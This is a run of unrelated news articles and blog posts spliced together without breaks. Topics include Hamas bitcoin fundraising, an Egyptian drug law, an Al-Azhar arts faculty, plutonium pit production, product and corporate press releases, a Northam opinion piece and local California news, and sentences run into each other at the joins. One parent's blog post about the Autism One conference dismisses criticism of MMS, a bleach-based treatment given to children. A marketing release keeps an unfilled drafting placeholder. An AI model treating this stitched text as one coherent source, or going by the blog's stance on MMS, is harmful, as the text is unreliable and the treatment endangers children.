Al-Monitor tried to find out how many donations have been collected so far, but to no avail.

Ibrahim al-Madhoun, a political analyst close to Hamas, told Al-Monitor, Hamas is suffering from a financial crisis due to declining regional support. Some countries supporting Hamas face political extortion and US threats, such as Qatar and Iran. Besides, donors have other financial commitments in other places in the region and have been drained by the Arab Spring uprisings.

Through its call for bitcoin donations, Hamas will overcome many hurdles, mainly its financial crisis and the financial blockade imposed on its transactions and institutions by official banking systems around the world.

Economist and lecturer at Israa University in Gaza Amine Abu Aisha told Al-Monitor, Bitcoins will be a new way to help Hamas receive donations, when official channels through banks fail due to strict control.

Abu Aisha believes the dwindling Iranian support for Hamas is one of the reasons of the crisis, not to mention the general economic recession in the Gaza Strip. He added, The cryptocurrency will allow several institutions and individuals to fund Hamas easily without facing terrorism-funding accusations. Money transfers can be done through multiple and hidden accounts that are not subject to governmental or legal control in several countries.

Abu Aisha expects Hamas to receive millions of dollars in the coming months, especially if specific countries that he did not name made these donations.

Mustafa al-Sawaf, political analyst and former editor-in-chief of the local Felesteen newspaper, told Al-Monitor, Bitcoins will be part of the intelligence and information warfare between Hamas and Israel. Most donations will come from the people who believe in the Palestinians right to resistance rather than from regimes. Arab and international regimes are generally inclined to increase normalization [with Israel] and fight Hamas. But Hamas will keep trying to find a way out of this financial crisis.

Al-Qassam Brigades did not announce the mechanism to convert the cryptocurrency into banknotes. Egyptian financial analyst Ahmed Taleb, an independent researcher based in Cairo, told Al-Monitor over the phone, Several mechanisms to convert the cryptocurrency exist. There are several electronic platforms outside the Palestinian territories that Hamas can transfer the money to before converting it. The good thing about the cryptocurrency is the difficulty for Israel to track it and monitor the money circulation, as this takes place outside the official banking system.

Taleb said that Hamas most likely benefited from the experience of others like Iran and even the Islamic State (IS) in using bitcoins to fund their activities. He noted, Hamas did not randomly fall on the cryptocurrency. It has received foreign training on using it and might have even resorted to it before.

Al-Hassan Ali Bakr, a Palestinian economic analyst and regional director of ICM Capital, believes it is difficult for Israel to track bitcoin donations, especially as it is possible to transfer these donations from al-Qassam Brigades wallet account to other wallets through the blockchain technology, before converting them to other currencies.

He told Al-Monitor, Naturally, money transfers can be carried out through money transfer companies such as MoneyGram, Western Union or bank accounts from donors or organizations.

Notably, bitcoins have been used to fund several covert activities around the world, including money laundering. The cryptocurrency suffered huge losses in 2014, after one of the key bitcoin trading platforms was shut following a US Department of Justice decision in January 2014 to arrest several figures accused of using bitcoins to launder money.

An official Palestinian fatwa or one from Hamas related to bitcoins does not exist. However, in Egypt, Grand Imam of Al-Azhar Ahmed el-Tayeb prohibited in December 2017 the use of bitcoins in financial transactions due to the risks it carries and amid its lack of monetary cover by the Central Bank of Egypt, not to mention its potential use as a tool to fund terrorism.

Commenting on the bitcoin Sharia compliance, Madhoun said, According to Islamic Sharia, necessity knows no law. The need here is for resolving the financial crisis, and Hamas is obliged to use bitcoins for that.The Egyptian Cabinet on Jan. 30 approved amendments to an existing law imposing severe punishments for anyone caught peddling or using synthetic narcotics or importing substances for their manufacture. Egypt has for decades acknowledged the problem of drug addiction, but in recent months there has been a focus on locally manufactured cheap drugs, particularly the synthetic drugs called Strox and Voodoo, which have reportedly caused several deaths among young people.

Mohamed Abdel-Ghani, assistant professor of psychological health and addiction treatment at Zagazig University, said that the cabinets move comes at the right time.

In recent months, the use of synthetic drugs has become very popular because they are very hard for the police to detect, are very cheap and have a strong effect that gives users a completely different experience [than other drugs], Abdel-Ghani told Al-Monitor. According to him, dealers are manufacturing the drugs at home, using imported herbs, cosmetics (such as beauty powders) and legal medications (such as atropine, ketamine and hyoscine).

The police began to face a big problem in taking action against the culprits because these drugs were not included on the list of illegal drugs, Abdel-Ghani said. So, most cases ended with the registering of these drugs at police stations as herbs or cosmetics [and the suspects' being released]. However, now, things are different after the new draft law.

The old law only covered long-established drugs, among them heroin and hashish, but synthetic drugs have now been added to the list. The amended law stipulates that anyone who imports or exports synthetic drugs with an anesthetic or harmful effect on mind, body or psychological and neurological functioning shall be sentenced to death.

The law provides that anyone caught in possession of synthetic drugs for the purpose of commerce shall be sentenced to life and fined no less than 100,000 Egyptian pounds ($5,682) and no more than 500,000 pounds ($28,410). Dealers in hashish and marijuana face 25 years in prison. Anyone caught in possession of synthetic drugs for the purpose of using them faces 15 years in prison and a fine no less than 50,000 pounds ($2,840) and no more than 200,000 pounds ($11,363). The law must now be referred to the parliament for final approval.

Abdel-Ghani said that chemicals involved in making Strox and Voodoo have no basis in nature, unlike hashish for instance. They have more harmful effects than hashish, and their effects are both psychological and physical, Abdel-Ghani said. These drugs have adverse health effects on the heart and blood pressure and cause deadly [seizures]. They can also lead to kidney failure.

Strox and Voodoo, both of which are used to lace tobacco and hashish, are said by users to cause hallucinations.

A normal person can only take four tokes from a Strox joint, said a middle-aged drug user who requested anonymity. Taking more would kill a person. He attributed the popularity of synthetic drugs to their low price.

A bag with a handful of Strox can be sold at 100 Egyptian pounds [about $6], and that amount can make a dozen joints, the man told Al-Monitor.

Amr Othman, head of the Fund for Drug Control and Treatment, a state agency authorized to combat and treat drug addiction, said synthetic drugs are most popular among youths aged 15-17 and represent 3.4% of all drugs popular in Egypt.

According to government figures, 10% of Egyptians aged 15 and 16 are on some form of illegal drug.

This age group, which is characterized by impulsiveness and a willingness to try anything new, tends to use synthetic drugs because they allow them to have a different experience and fulfill their desire for distinction among their peers, Othman told Al-Monitor.

Othman said that although the new law is important, it needs to be complemented with support from civil society groups. Awareness campaigns should be launched at schools and universities, where young people are, he said. Implementation of the law should go hand in hand with changing the culture of society and raising peoples awareness about the dangers of taking drugs of any kind.

Othman added that harsh punishment will not necessarily put an end to the phenomenon. It is for sure essential, but there are other ways to reduce drug addiction like media campaigns, including ads, TV series and movies.For Rawan Ahmed, a third-year secondary student at an Azhari school in Damietta, Jan. 28 was a special occasion. On that day, Sheikh Ahmad al-Tayeb, the grand imam of Al-Azhar, honored her not for her success at school, but because of drawings she had made.

I was thrilled when Al-Azhars grand imam expressed admiration for my drawings and portraits, Ahmed told Al-Monitor. He advised me to develop my skill.

Ahmed was among 12 students from Al-Azhar-affiliated schools and universities selected to present their artistic works in the Al-Azhar pavilion at the 50th Cairo International Book Fair, held Jan. 23 to Feb. 5. For the fair, Ahmed, who has loved drawing since she was a child, displayed drawings of a sad-looking boy behind prison bars and a young woman holding flowers.

This is not my first time participating in the fair, Ahmed said, but this is the first time ever to see with my own eyes the grand imams praise and admiration for our works. Tayeb presented participants with certificates of appreciation to encourage them to continue to develop their talents, and he also raised the possibility of Al-Azhar establishing a faculty for fine arts.

We thought Al-Azhar does not encourage art, but we were wrong, Ahmed said. After we were honored by the grand imam, we found him to be a man who served as a compassionate father to us. He was pleasant and polite and very kind.

Abdul-Dayem Nosseir, adviser on education to the imam, told local media on Jan. 28 that Tayeb's proposal for a fine arts faculty stemmed from his keen interest in encouraging the talents of Al-Azhar students. Nosseir told Al-Tahrir, All the bodies affiliated with Al-Azhar are currently studying the proposal of the grand imam in order to prepare procedures for founding the faculty [i.e., the curriculum and departments] that meets the needs of those talents.

Aziza al-Saifi, a professor of rhetoric at the Faculty of Islamic Studies at Al-Azhar University, was quoted in the media as praising the proposal, remarking that a fine arts faculty would be viewed as an accomplishment for Al-Azhar. It would prove that the institution does not stand in the way of the arts and that Islam actually encourages it and those who practice them.

Saifi told El-Balad on Jan. 31 that contrary to what some Salafists claim, Muslims are capable of recognizing drawing and sculpting as forms of art and fields of study, not means for producing objects of idolatry. Sculpture is a fine art, and we have to change our ideas. The Muslim knows that Allah is [the one God] and cannot imagine that a person who sees a sculpture will worship it.

This year was the third time that Al-Azhar has taken part in the Cairo book fair, which in 2019 featured 1,273 publishers from 35 Arab and foreign countries. A positive attitude toward the arts was evident at Al-Azhar's pavilion, which attracted a large number of visitors due to the many activities there, such as cultural performances and workshops for painting, calligraphy and handicrafts.

Al-Azhar scholars conducted some 20 seminars addressing a variety of religious and societal topics, among them home and citizenship, East and West, the role of Azhar women in education, advocacy and community service, Arabic calligraphy, and Islamic and Arab identity.

Fayez Barakat, a member of parliaments Education Committee, said in a Feb. 2 press statement that the proposal for an Al-Azhar-affiliated fine arts faculty reflects not only a desire to develop students' skills, but also an effort by Al-Azhar to express an openness to areas in which it has not focused in the past.

The Ecole des beaux-arts (School of Fine Arts), Egypt's earliest such school, was established by Prince Youssef Kamal in 1908. Among the students who attended it were Mahmoud Mokhtar and Ragheb Ayad, whose paintings and sculptures focused on Egyptian identity. Between 1950 and 1953, it was called the Royal College of Fine Arts and after that the Faculty of Fine Arts, affiliated with the Higher Education Ministry. In 1975, it was taken over by Helwan University.

Ahmed Othman, a pioneering sculptor, founded a fine arts faculty at Alexandria University in 1957. Another government-supported faculty of fine arts was established in 1996 at South Valley University, in Luxor.

Speaking to Al-Monitor, Gaber Asfour, a writer and former minister of culture, cited Al-Azhar's position as a center of Arabic literature and Islamic learning and how at President Abdel Fattah al-Sisi's urging it is now engaged, along with the Ministry of Endowments, in renewing religious discourse in an effort to fight extremism. From my point of view, Al-Azhar should focus on this significant duty more than anything else, Asfour said.

Asfour further noted that under President Gamal Abdel Nasser, a number of non-religious faculties had been established in the early 1960s within Al-Azhar, a first since it was established, in the Fatimid era. They included faculties of medicine, pharmacy, business, engineering and science, which were aimed at preparing students to better integrate into society. As regards a fine arts faculty, however, Asfour has concerns.

I have many questions, Asfour said. [Will it] teach all the fine arts? Will the faculty accept unveiled students and will it use models? Will it fight the extremist ideas that prohibit painting and sculpture?

We cant judge in advance, however, he said. We will have to wait and see.Photo: Courtesy of Laure Heriard Dubreuil

If youre like us, youve probably wondered what famous people add to their carts. Not the JAR brooch and Louis XV chair, but the hand sanitizer and the electric toothbrush. Weve asked designer Laure Heriard Dubreuil  founder and CEO of The Webster and designer of LHD  which products she cant live without.

David Mallett #DM027 Hair Serum $80 No need to fly to Paris anymore! There is absolutely no one better than David and his team when it comes to hair, and now he has a salon in New York [Editors note: The new salon is at Dubreuils Webster Soho]. The Hair Serum DM027 is my absolute favorite because the smell of macadamia oil is exquisite. I have a very sensitive sense of smell. Growing up I wanted to be a nose, but I soon found out developing fragrance is a very long process, and fashion moves faster, so I chose fashion. $80 at Revolve Clothing Buy

Joanna Czech Facial Massager $189 I like to keep things very simple with my skin, but Joanna Czech facials are unbelievable. I use her roller religiously. Roll upwards! I do it three times on each side. It helps with puffiness but mainly I do it because it feels wonderful. Its the first one Ive ever used and I love it. $189 at Violet Grey Buy

Alexandra Golovanoff Milanet Jumper $450 $450 I love these sweaters. They are all soft colors that complement all skin, hair, and eye colors and make a New York winter a little easier. I have one in every single color. They are my uniform. $450 at Farfetch Buy

La Bouche Rouge Lipstick Set $160 I love every shade they do. Everything down to the packaging is consciously crafted and ethical, finished in the most beautiful way. I have my initials embossed on my leather case, which is refillable and feels super chic when youre applying it. Plus it doesnt leave a lipstick mark on your coffee cup, which is the ultimate deal-breaker. $160 at Barneys New York Buy

Stella McCartney Eclypse Sneakers $685 The combination of living in New York and running after my 5-year-old means Im wearing sneakers more often than not. Stella McCartneys are some of my favorites because they are chunky but still feel feminine. I wear them with skirts or jeans  theyre so super-versatile. $685 at Net-A-Porter Buy

LHD Star Island Careyes Floral Print Black Blouse $475 Every LHD collection is inspired by my travels, and this is from our Careyes collection and the easiest piece to travel with as works for all climates. Every collection is made up of sun dresses and separates, in light, easy fabrics, full of color, with the prints inspired by destinations I love. It solved a packing problem for me as its exactly how I dress when Im on holiday. $475 at LHD Buy

get the strategist newsletter Actually good deals, smart shopping advice, and exclusive discounts. Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us.

The Strategist is designed to surface the most useful, expert recommendations for things to buy across the vast e-commerce landscape. Some of our latest conquests include the best acne treatments, rolling luggage, pillows for side sleepers, natural anxiety remedies, and bath towels. We update links when possible, but note that deals can expire and all prices are subject to change.

Every editorial product is independently selected. If you buy something through our links, New York may earn an affiliate commission.WASHINGTON  National Nuclear Security Administration Chief of Staff William "Ike" White on Tuesday said refurbishing the "former" Mixed Oxide Fuel Fabrication Facility for a plutonium pit production mission is a serious infrastructure undertaking with a pretty aggressive schedule to match.

"These are major nuclear facility recapitalization efforts," White said, in part, at the annual Nuclear Deterrence Summit outside of Washington D.C. The chief of staff later suggested ventures of this magnitude can cost billions of dollars and can take years to complete.

Repurposing the Savannah River Site-located MOX facility for pit production could cost between $1.4 billion and $5.4 billion, according to a NNSA analysis dated November 2017.

A new-construction pit production facility at SRS  not what has been recommended  could cost between $1.8 billion and $6.7 billion, according to the same analysis.

Plutonium pits are nuclear weapon cores. Eighty every year are required by 2030, according to the 2018 Nuclear Posture Review, which is now about a year old.

Last year, the U.S. Department of Defense and the NNSA jointly recommended producing 50 pits per year at a repurposed MOX and the remaining 30 per year at a refreshed Los Alamos National Laboratory in New Mexico.

White on Tuesday said the recommendation and related effort is "ambitious" and represents a system jumpstart; it would establish a "modern, flexible" production capability at both locations, he continued.

That language echoes language used by both the NNSA and the DOD in a public rollout last year: The tandem approach "improves the resiliency, flexibility, and redundancy" of the nuclear security complex, a May 10, 2018 statement reads.

The next significant pit production milestone will come when the deputy secretary of energy, currently Dan Brouillette, signs off on a preferred approach.

White on Tuesday said that move, plus more, must be made briskly. A "sense of urgency" is felt across the nuclear security enterprise, he said. The 2030 deadline is 11 years away, after all.

The NNSA expects to use $95 million for conceptual pit production design at SRS, an agency senior spokesperson told the Aiken Standard last week. Savannah River Nuclear Solutions, the SRS management and operations contractor, is leading the effort and has since mobilized teams for that reason.

The NNSA on Oct. 10, 2018 terminated the incomplete MOX project. MOX  designed to turn weapons-grade plutonium into reactor fuel  was over-budget and more than a decade in the making.

The NNSA provided SRNS a separate $40 million to support the termination and transition of MOX, according to the same senior spokesperson.Would you like to receive breaking news notifications from The Post and Courier?

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Please enable notifications in your browser and reload the page.Theres a new face in charge of spreading information about managing pests in South Dakota.

Philip Rozeboom joined South Dakota State University Extension as the pest management coordinator in October 2018, and over the winter, hes been busying preparing resources and organizing events to help farmers learn the latest about protecting their crops from insects, weeds and disease.

One of his first tasks was updating extensions pest management guides for 2019, which were made available early last month. The guides give recommendations for controlling pests in corn, soybeans, wheat, alfalfa and oilseeds. They offer details on brand-name herbicides, insecticides, seed treatments and fungicides and provide a rating on pest response to different products.

The pest management guides are available on extensions website or in pocket-sized printed form.

Another guide thats in the works is a guide for attacking pests without chemicals. The natural enemy identification guide covers all the predators to a certain pest species. The guide will give a threshold and make recommendations as to whether natural enemies will suppress the pest.

The updated, pocket-sized flipbook will consist of about 80 pages.

A farmer can go out with the ID guide and get a good idea of whats out there, Rozeboom said.

A major event hes organizing happens each summer. The crop management field school for agricultural professionals is set for July 16 and 17 at the Volga Research Farm.By Julie Obradovic

I sat in the ballroom scrolling through my phone. It was at least another twenty minutes before the keynote, but I was afraid if I got up, I wouldnt get a good seat. Instead, I kept my butt planted where it was and re-read my notes from Dr. Martha Herberts presentation on the brain. I then picked up my phone.

Autism is not a tragedy, Dr. Herbert stated emphatically. Its a catastrophe.

She emphasized catastrophe and repeated herself a few times. This was in response to an audience members question about ADHD and learning disabilities and all of the other things plaguing our children.

Her words struck me deeply. I clicked on my Facebook application and put them as my status. Here was a pediatric neurologist from Harvard telling us what weve done is catastrophic, and yet, some outspoken critics would have you believe everything is just fine. It was one of many head shaking moments over the weekend.

Not long after, I thought I saw someone staring at me. I was right.

Are you Julie? asked this bubbly, smiley, very pretty woman. She seemed a little embarrassed and then introduced herself.

I swear Im not a Facebook stalker! She apologized. I just recognized you from your picture and wanted to say hello!

We greeted one another and she moved closer so we could catch up. Facebook, we agreed has created this new phenomena where you can really get to know someone virtuallyall about their family, their life, their jobsbut pass them right up in the hallway. Im sure I walked right by a number of people I correspond with daily.

For several minutes we talked about our kids. How old is your child? How is he/she doing? What have you tried? What doctor are you seeing? Is anything working? Its the standard get-to-know-you conversation in the biomed world.

When Jenny came out, we finished our chat and she moved back to her seat. We hoped to see each other again and went about our day.

Sometime that night I saw a nasty article already on the Internet about Autism One. To start the conference, there was one slamming it and The Chicago Sun Times. Now to end it, there was one slamming it and the parents who attend.

A blogger, who hadnt attended the conference, but instead was regurgitating another blogger (who hadnt attended the conference either), wrote an entire article about the inability to bleach the Autism out of a child. She was referring to MMS, a treatment being used for gut problems in some children that hadnt even been presented yet. It was on schedule for the next morning.

It struck me as really odd that something most people at the conference didnt even know much about had already been completely scrutinized by people who seem loathe the mere idea of medically treating a child with Autism (with anything but pharmaceuticals, apparently). It seemed obsessive and premature, to say the least, and it was eerily reminiscent of what happened with other interventions in the past.

But mostly, the article irritated me for its tone. The authors message was clear: parents who try these treatments are gullible, dangerous, and/or dont love their children, and the people who pass them off are snake oil salesmen.

Things like this used to make me really angry. Its so damn insulting. I would craft long, thoughtful responses only to end up in a comment war with some coward who wont even use his/her own name. I dont have the time or patience for that non-sense anymore, nor do I feel the desire to defend myself anymore. My child is recovered. The results speak for themselves.Spicetree Design Agency (SDA) organized the 4th edition of The Street Store on 10th February 2019 at the Gramin Vidyalaya in Dahisar, Mumbai. As part of this, the venture displayed hand-me-down clothes and accessories for kids as well as their parents and family. Over 140 children and around 100 adults from in and around participated in the event to gather this unique shopping experience for the first time. The Street Store is the worlds first rent- and premise-free pop-up clothing store for the less fortunate.



Through The Street Store, SDA endeavors to build lives and lift spirits together. The company has been hosting the event in Mumbai since 2017 with the purpose of changing and enhancing lives for the better and create a transformation at a manageable scale. In the past, it was organized on the streets of Mumbai and witnessed a turnout of over 1000 people, who came to choose clothes and accessories and left with huge smiles!



Speaking about this, Mr Mehmood Khan, Director, SDA, said, While SDA empowers brand through its effective tools and solutions, we are also focused on doing our bit for the society and its people. After all, a business must be inclusive of its surroundings. We are committed to this larger goal and through The Street Store, we are trying to give back in whatever way possible to the society. We hope to carry forward the initiative in other regions of Mumbai and bring smiles on the faces of more people.

In another initiative, SDA is planning to set up a computer lab in Gramin Vidyalaya this year. The idea behind this is to enable better education for the children and introduce them to newer concepts..Adding his comments, Mr Dinesh N Patil, Head Master, Gramin Vidyalaya, said, We are happy and thankful to the staff and members of SDA for bringing this unique initiative to our school. The smiles on peoples faces speak volumes about their feelings as they take home clothes and gifts which they could perhaps not have access to otherwise. We also look forward to the computer lab in our school as it would greatly benefit the children and their learning.

SDA also hosted The Street Store thrice before exclusively for the less fortunate kids wherein they provided brand new school supplies and study materials for them to choose from. The company endeavors to create brands that impact lives and experiences that bless them. In their quest towards this, SDA chose the path of giving. Understanding that everything starts with giving and sharing with people, SDA aims to give back wholeheartedly to be thankful for what they have been graced with.The International Advertising Association (IAA) India Chapter announced the winners for its campaign in to build awareness of Diabetic Retinopathy in India. The winning team is Rohan Joseph (Creative Director- Copy), Vallabh Yeolekar (Creative Director-Art) at Madison BMB. Coming in second place was Neelam Lakhani (Creative Director- Copy) & Dhananjay Khotpal (Creative Director- Art). This campaign, being planned along with the All India Opthalmology Association (AIOS) will be launched at the IAA World Congress in Kochi.

IAA (India Chapter) President Punit Goenka said "I am glad the elite jury consisting of Bobby Pawar, Raj Nair and Carlton D'Silva reached a consensus on the winning entry. We will now help produce it, fly the winning team to Kochi for the IAA World Congress and launch it there". Adds Dr. S. Natarajan President AIOS, I am very happy that the communications industry is working to build awareness of how a simple test for diabetes can help prevent Diabetic Retinopathy and even possible blindness.Virginia Governor Ralph Northam. Photo: Katherine Frey/The Washington Post via Getty Images

So, here we are: Instead of resigning as governor of Virginia, Ralph Northam is forcing the state to endure his journey of racial awakening alongside him. His staff has assigned him a Racism 101 reading list that includes Alex Haleys Roots and Ta-Nehisi Coatess essay The Case for Reparations. On Monday, he and his advisers announced plans for a listening tour to engage different communities in conversations about race  which is ironic, considering that Northam has already refused to listen to anybody demanding he step down.

The latter is notable because it complicates what might otherwise be an opportunity. Last month, Northam admitted to  and then denied  appearing in a photo on his 1984 medical-school yearbook page of someone in blackface next to someone in Ku Klux Klan garb. It is unclear which of the two the governor thought might be him, but his confusion, he said, stemmed from a separate blackface incident in which hed participated that same year  a dance contest, during which he darkened his face with shoe polish to impersonate Michael Jackson.

The next best outcome, assuming he does complete his term, is that Northam becomes a racial-justice governor  an unexpected climax for a blackface scandal, to be sure. But he has hinted at the possibility: BuzzFeeds Darren Sands reports that the administration is exploring how it might recalibrate Northams legislative agenda to focus closely on race and equality. The plan currently on the table focuses on increasing resources for affordable housing and pumping money into public services like education and transportation, among other items. Northam has also privately expressed fear at leaving office branded as a racist for life, suggesting that he is worried about how the incident will tarnish his legacy. All of this, one would imagine, constitutes leverage for advocates, who could theoretically use the governors newfound sympathies to push him to adopt one of Americas more progressive racial-justice agendas.

But while the stars may seem aligned for such an about-face, theres a problem: Northam has not actually demonstrated a strong capacity for listening. He has ignored the overwhelming calls to resign coming from within his own party, and begun his image rehabilitation by making it a public spectacle where black people are doing a lot of the literal and symbolic work for him  replete with impromptu meetings with Virginias black political leaders, an I have black friends anecdote where he name-dropped an actual black staffer, and an interview with Gayle King during which he described Virginias first black residents as indentured servants (they were, in fact, slaves  although, as Jelani Cobb explained on Twitter, there were black indentured servants in the Virginia colonies as well).

So, at a time when Northam has the potential to become one of the few U.S. governors who is truly accountable to black constituents, whos to say that he will spend his listening tour actually listening to them? The answer, it seems, lies in the extent to which black Virginians can hold him to his promise. And their power to do so is limited.

Leverage was lost, for instance, when demands for Northams resignation were not paired with an or  as in, resign or pursue a New Dealesque set of investments in black housing, jobs, and education. When news broke about the yearbook photo, activists and fellow Democrats presented leaving as his only option. When he refused to resign, nothing bound his commitment to any kind of racial-justice platform besides his own conscience and concerns about his self-image. Needless to say, these are unreliable motivators. This assessment, though, may be overstating the extent to which black Virginians required such a commitment in order to move forward to begin with. Black people are the population upon whom the costs of racism have fallen the heaviest, yet they are also among those least interested in Northam resigning, according to a Washington Post poll. Nearly 60 percent of black respondents said he should not step down, compared to 46 percent of white respondents (these results are skewed, of course, by the polls failure to distinguish between white Democrats and white Republicans). Im not gonna really grade the picture that much because I know  white people, David Wright, a black Army veteran, told CNN last week. Its not a new thing. Its just everybody is coming out in the open.

The poll does not detail why the majority of black respondents felt this way, but several factors suggest that the fallout from Northams resignation bodes worse for their well-being than him staying, at least for now. Lieutenant Governor Justin Fairfax and Attorney General Mark Herring, both Democrats and potential Northam successors, are facing their own scandals: two allegations of sexual assault and another blackface photo, respectively. Should all three resign, it would eliminate the top three positions in the states gubernatorial line of succession  leaving black Virginians to the devices of a Republican Party, led by Speaker of the House of Delegates Kirk Cox, known for its racism. Black Virginians have also expressed willingness to let Northam earn their trust. We are a forgiving people, 82-year-old James Lunsford, who is black, told CNN. I think we should forgive him.

But the rhetorical power to forgive is different from the material power to hold Northam to a legislative agenda. Redemption narratives are appealing, but can also be bought with the right symbolic gestures  reading the right books, for example, or securing the right photo op. It is a sign of the fundamental inequality at play here that black people can neither expect Northam to pursue their best interests or risk his resignation and the possibility of Republican rule. All we have is Northams word to go by. Its worth is yet to be determined.Lufthansa Group Airlines announced that it has appointed George Ettiyil as its new Senior Director Sales South Asia. Effective February 2019, he will be responsible for all commercial activities of the Lufthansa Group Airlines, including Lufthansa German Airlines, SWISS, Austrian Airlines and Brussels Airlines, in India, Nepal, Bangladesh and Sri Lanka. George Ettiyil has held several key positions within the Lufthansa Group for more than 20 years. For the last few years he served as Head of Global Sales Products & Programs for the Lufthansa Group Hub Airlines. Prior to this position at the Lufthansa headquarter in Frankfurt, he was responsible for the management of different stations and the field of business controlling in Germany and India. Alain Chisari, Vice President Sales Lufthansa Group Airlines Asia Pacific said: We are pleased to have George Ettiyil on board in India. His experience within different departments of the Lufthansa Group, combined with his know-how of the local business and culture are a valuable asset for our Group in Asia Pacific. I am convinced that he will play a relevant role in driving our companys success in South Asia.

I am very much looking forward to be back in one of the most important markets for the Lufthansa Group and to actively participate in one of the fastest growing industries in the country, says George Ettiyil. Together with a strong team we will continue to drive innovation and digitalisation to serve not only our B2C but also B2B customers in South Asia better.

Senior Director Wolfgang Will who was in the position previously will leave India after five years. He will bring his expertise to Lufthansa headquarter in Frankfurt and be taking over the responsibility for a strategically important project in the B2B sales department. Lufthansa Group and its carriers Lufthansa and SWISS currently offer 58 flights from four Indian gateways, namely Delhi, Mumbai, Chennai and Bengaluru and Colombo (Sri Lanka), connecting to 343 destinations in more than 100 countries via its European hubs of Frankfurt, Munich and Zurich.Kotak Mahindra Life Insurance Company Limited (Kotak Life) announced the launch of #SelfieWorthTaking  a pioneering initiative in the Indian insurance space, in Mumbai. Based on facial analysis algorithm, this platform uses a selfie to determine the premium payable to buy a term plan.

Anyone with a smartphone with a camera can simply log on to the site insurance.kotak.com/selfie, click a selfie and access a term insurance quote based on the facial recognition algorithm.

Jasneet Bachal, Head  Marketing, Kotak Mahindra Life Insurance Company Limited, said, Innovative experiences like #SelfieWorthTaking play a powerful role in helping us expand the insurance narrative to the young and digitally savvy consumers. It allows us to debunk the misconception that getting an insurance cover is a complicated and time consuming process, and expensive too. Now generating a term insurance quote will be as easy as clicking a selfie.

In November 2013, Selfie was announced as the word of the year by Oxford Dictionary, but has been long associated with self-expression ever since the invention of the camera. Easy availability of Smartphones accelerated this trend. Also, rapid growth of social media platforms further fuelled the momentum. Millennials dedicate roughly an hour each week to click selfies i.e., 7min/per selfie. People around the globe click pictures, and most of them are selfies.

With its campaign #SelfieWorthTaking, Kotak Life aims to make the selfie clicking experience a meaningful and a memorable one.In the commuter motorcycle segment where the focus is mostly on mileage, Bajaj Platina has differentiated itself by building a strong position as the most comfortable bike for the commuter who spends long hours on bumpy roads. This is embodied through its proposition of Jhatka Mana Hai.

Taking this benefit proposition ahead, Ogilvy and Bajaj saw an opportunity where the Platina ComforTec 110 could make a difference and bring smiles to thousands of people in need of help. People who are elderly, disabled, needing to cover long distances with heavy loads on foot. Bajaj Platina would give free ride services to these pilgrims in the 2019 Kumbh Mela which is the largest congregation in the world with over 20 crore people expected to attend in its 2019 edition. Held on the banks of the mighty Ganges, it proves to be a crowded nightmare for most people to navigate. Bajaj Platina is the perfect vehicle for this application. At its core, the activity was designed to increase brand love.

Both Ogilvy and Bajaj planned that the all new Platina ComforTec 110 will be the free service to pilgrims in need and would ride them in supreme comfort and safety within the Kumbh city. All Bajaj Platinas were retrofitted with custom designed backrests that support the pillion on the back as well as the side for added feeling of safety. Engineering of this backrest was done keeping the one-sided seating especially suited for saree-clad women. The name therefore came in very simple - it is called the Platina ComforTec 110 Aaram Rath.

Along the route allotted (Phaphamau Bus Stand to Naagvasuki Temple, Prayagraj) from where the Platina rider who is fondly called the Aaram Rath Saarthi would ferry the old pilgrims and ride them safely to the Sangam Nose (confluence of the 3 sacred rivers) or the bathing ghats for a dip and also ride them back to the spot from where they were picked-up i.e bus stop on the outskirts of Kumbh which connects the whole of Prayagraj to the Kumbh City.

The authorities at Kumbh gave a green signal to this activity and were all praise offering their complete support and co-operation.

The Platina ComforTec 110 Aaram Rath activity has got a phenomenal response wherein the Platinas ferry over # pilgrims (should assume 40 bikes into 15-20 rides, or whatever the number we achieve daily) every day. Visiting Kumbh is that much more comfortable thanks to Bajaj Platina  Aaram Rath Seva.

"With the new Bajaj Platina Comfortec 110, our focus has been to deliver the most comfortable ride experience in the category. No doubt that the motorcycle has much better power, acceleration, pick-up and braking. But a Platina stands for comfort. When we encountered this opportunity, we were clear that this activity will bring relief to people in need of help to reach the ghats, and that Platina is the right vehicle of choice for it. From there on, we worked on retro-fitting a secure two-sided back rest specially made for the audience. We are thrilled that this activity has been so well received. I can only imagine the countless blessings we have gathered along the way." - Narayan Sundararaman, Vice President, Bajaj Auto.

"It is not often that we get an opportunity of this scale and this nature. Kumbh Mela attracts people of myriad backgrounds and geographies. The locales and crowds make it very difficult for devotees to access different parts of the Kumbh city and the ghats. This is the challenge that excites us the most. Amongst all our brands, we picked Bajaj Platina as the perfect fit for the application. In our concrete jungles, Bajaj's Platina transports millions daily. All done in supreme comfort. In our latest film 'Jhatka Mana Hai' we made Platina the protagonist that is positioned to increase brand love for Bajaj. At Kumbh, Platina is the only two-wheeler that is saving the effort of navigating distances and crowds for thousands of needy. This is a perfect fit that will pave the way for many more such applications."  VR Rajesh, Office Leader, Ogilvy India (West).

CREDITS

Client Team:

Narayan Sundararaman, VP Marketing

Soumya Das, Category Head

Pratik Ghate, Brand Manager

Account Management:

VR Rajesh, Office Leader, Ogilvy West

Roopesh Shah, Senior Vice President

Nikhil Mohan, Vice President

Abheek Chatterji, Client Services Director

Krishnakant Mishra, Creative Controller

Piyush Jha, Account Director

Narendra Tiwari, Group Account Manager

Account Planning:

Ganapathy Balagopalan, Head Of Strategic Planning, Ogilvy West

Aakash Singh, Planning Director

Creative:

Sukesh Nayak, Chief Creative Officer, Ogilvy West

Hemal Jhaveri, Group Creative Director

Sundar Sharma, Creative Director

Shankar Haldankar, Creative Director

Prasanna Bhave, Senior Copywriter

Prasad Gurav, Art DirectorGRIDLEY, Calif. - A Gridley woman is behind bars after reportedly driving onto the Gridley High School campus Tuesday morning and crashing into the snack bar.

Gridley Police Sergeant Rodney Harr said 25-year-old Cassandra Arellano drove onto the back of the school property.

The incident prompted a lockdown just after 10 a.m. and was lifted about 30 minutes later.

Harr said that Arrellano was not armed and that nobody was injured in the incident. Police said they did a field sobriety test on Arrellano and arrested her for being under the influence of alcohol or drugs. She was booked into the Butte County Jail.

Gridley High School Principal Justin Kern said he was impressed by how the students and staff handled the situation.

"I'm very pleased with student and staff response," he said. "The way students and staff responded, the way Gridley police responded, you never want to go through that, but [I'm] very pleased with the way everybody responded."

Around 650 students attend Gridley High School and Kern said parents were notified after the lockdown ended.NORTHERN CALIFORNIA - More than 43,000 customers are without power in PG&E's North Valley Division according to Paul Moreno, a spokesperson for the utility.

